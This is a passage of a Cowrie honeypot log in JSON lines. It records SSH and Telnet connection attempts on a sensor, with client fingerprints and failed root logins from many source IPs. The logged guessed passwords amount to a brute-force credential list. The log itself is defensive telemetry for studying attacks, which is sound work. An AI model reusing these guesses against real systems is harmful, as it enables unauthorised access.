f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:37:20.807327Z","src_ip":"181.47.9.103","session":"f09b63964e8a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin2024","message":"login attempt [root/Admin2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:37:21.410235Z","src_ip":"181.47.9.103","session":"f09b63964e8a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:37:22.556226Z","src_ip":"181.47.9.103","session":"f09b63964e8a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.150.26","src_port":35318,"dst_ip":"159.203.135.109","dst_port":22,"session":"46a7c806df3b","protocol":"ssh","message":"New connection: 152.32.150.26:35318 (159.203.135.109:22) [session: 46a7c806df3b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:37:24.644875Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:37:24.649844Z","src_ip":"152.32.150.26","session":"46a7c806df3b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:37:24.664029Z","src_ip":"152.32.150.26","session":"46a7c806df3b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Peter","message":"login attempt [root/Peter] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:37:24.738654Z","src_ip":"152.32.150.26","session":"46a7c806df3b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:37:25.753299Z","src_ip":"152.32.150.26","session":"46a7c806df3b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.126.22.12","src_port":45484,"dst_ip":"159.203.135.109","dst_port":22,"session":"9c1845a71fb1","protocol":"ssh","message":"New connection: 101.126.22.12:45484 (159.203.135.109:22) [session: 9c1845a71fb1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:37:29.298129Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:37:30.615319Z","src_ip":"101.126.22.12","session":"9c1845a71fb1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:37:30.618992Z","src_ip":"101.126.22.12","session":"9c1845a71fb1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwe123","message":"login attempt [root/qwe123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:37:31.498299Z","src_ip":"101.126.22.12","session":"9c1845a71fb1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":49146,"dst_ip":"10.17.0.5","dst_port":23,"session":"d04365c2f22f","protocol":"telnet","message":"New connection: 192.119.13.58:49146 (10.17.0.5:23) [session: d04365c2f22f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:37:35.285188Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.27.11","src_port":34538,"dst_ip":"159.203.135.109","dst_port":22,"session":"0053f4f1aa1e","protocol":"ssh","message":"New connection: 43.134.27.11:34538 (159.203.135.109:22) [session: 0053f4f1aa1e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:38:08.593145Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:38:08.597856Z","src_ip":"43.134.27.11","session":"0053f4f1aa1e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:38:08.846841Z","src_ip":"43.134.27.11","session":"0053f4f1aa1e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"samba1","message":"login attempt [root/samba1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:38:09.860513Z","src_ip":"43.134.27.11","session":"0053f4f1aa1e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:38:11.110077Z","src_ip":"43.134.27.11","session":"0053f4f1aa1e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.996115922927856,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:38:17.281185Z","src_ip":"192.119.13.58","session":"d04365c2f22f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.238","src_port":58472,"dst_ip":"159.203.135.109","dst_port":22,"session":"d20b7c47f0d7","protocol":"ssh","message":"New connection: 2.57.122.238:58472 (159.203.135.109:22) [session: d20b7c47f0d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:38:28.657755Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:38:28.661299Z","src_ip":"2.57.122.238","session":"d20b7c47f0d7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:38:28.766533Z","src_ip":"2.57.122.238","session":"d20b7c47f0d7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"node","password":"node","message":"login attempt [node/node] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:38:29.081840Z","src_ip":"2.57.122.238","session":"d20b7c47f0d7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:38:30.190156Z","src_ip":"2.57.122.238","session":"d20b7c47f0d7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":60712,"dst_ip":"10.17.0.5","dst_port":23,"session":"b229bb870e59","protocol":"telnet","message":"New connection: 192.119.13.58:60712 (10.17.0.5:23) [session: b229bb870e59]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:38:32.947889Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.172.78.219","src_port":50136,"dst_ip":"10.17.0.5","dst_port":22,"session":"c5e9b30d87e4","protocol":"ssh","message":"New connection: 103.172.78.219:50136 (10.17.0.5:22) [session: c5e9b30d87e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:38:37.301876Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:38:37.305511Z","src_ip":"103.172.78.219","session":"c5e9b30d87e4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:38:37.560700Z","src_ip":"103.172.78.219","session":"c5e9b30d87e4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"warface","message":"login attempt [root/warface] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:38:38.327386Z","src_ip":"103.172.78.219","session":"c5e9b30d87e4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:38:39.584077Z","src_ip":"103.172.78.219","session":"c5e9b30d87e4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.173.247.254","src_port":38338,"dst_ip":"159.203.135.109","dst_port":22,"session":"9dadea6223d8","protocol":"ssh","message":"New connection: 31.173.247.254:38338 (159.203.135.109:22) [session: 9dadea6223d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:38:44.760007Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:38:44.764293Z","src_ip":"31.173.247.254","session":"9dadea6223d8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:38:45.003420Z","src_ip":"31.173.247.254","session":"9dadea6223d8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"health","message":"login attempt [root/health] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:38:46.020343Z","src_ip":"31.173.247.254","session":"9dadea6223d8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.183.219","src_port":41224,"dst_ip":"10.17.0.5","dst_port":22,"session":"3e22b520c77c","protocol":"ssh","message":"New connection: 103.75.183.219:41224 (10.17.0.5:22) [session: 3e22b520c77c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:38:46.922287Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:38:46.926712Z","src_ip":"103.75.183.219","session":"3e22b520c77c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:38:47.171369Z","src_ip":"103.75.183.219","session":"3e22b520c77c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:38:47.268344Z","src_ip":"31.173.247.254","session":"9dadea6223d8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"junior","message":"login attempt [root/junior] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:38:47.904282Z","src_ip":"103.75.183.219","session":"3e22b520c77c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:38:49.150668Z","src_ip":"103.75.183.219","session":"3e22b520c77c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"181.47.9.103","src_port":35364,"dst_ip":"159.203.135.109","dst_port":22,"session":"ec9e1c65cd35","protocol":"ssh","message":"New connection: 181.47.9.103:35364 (159.203.135.109:22) [session: ec9e1c65cd35]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:38:49.532445Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:38:49.538021Z","src_ip":"181.47.9.103","session":"ec9e1c65cd35","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:38:49.680485Z","src_ip":"181.47.9.103","session":"ec9e1c65cd35","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"mistress","message":"login attempt [root/mistress] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:38:50.277914Z","src_ip":"181.47.9.103","session":"ec9e1c65cd35","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":39696,"dst_ip":"10.17.0.5","dst_port":22,"session":"1c9e9babcb35","protocol":"ssh","message":"New connection: 87.251.64.176:39696 (10.17.0.5:22) [session: 1c9e9babcb35]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:38:50.982854Z"}
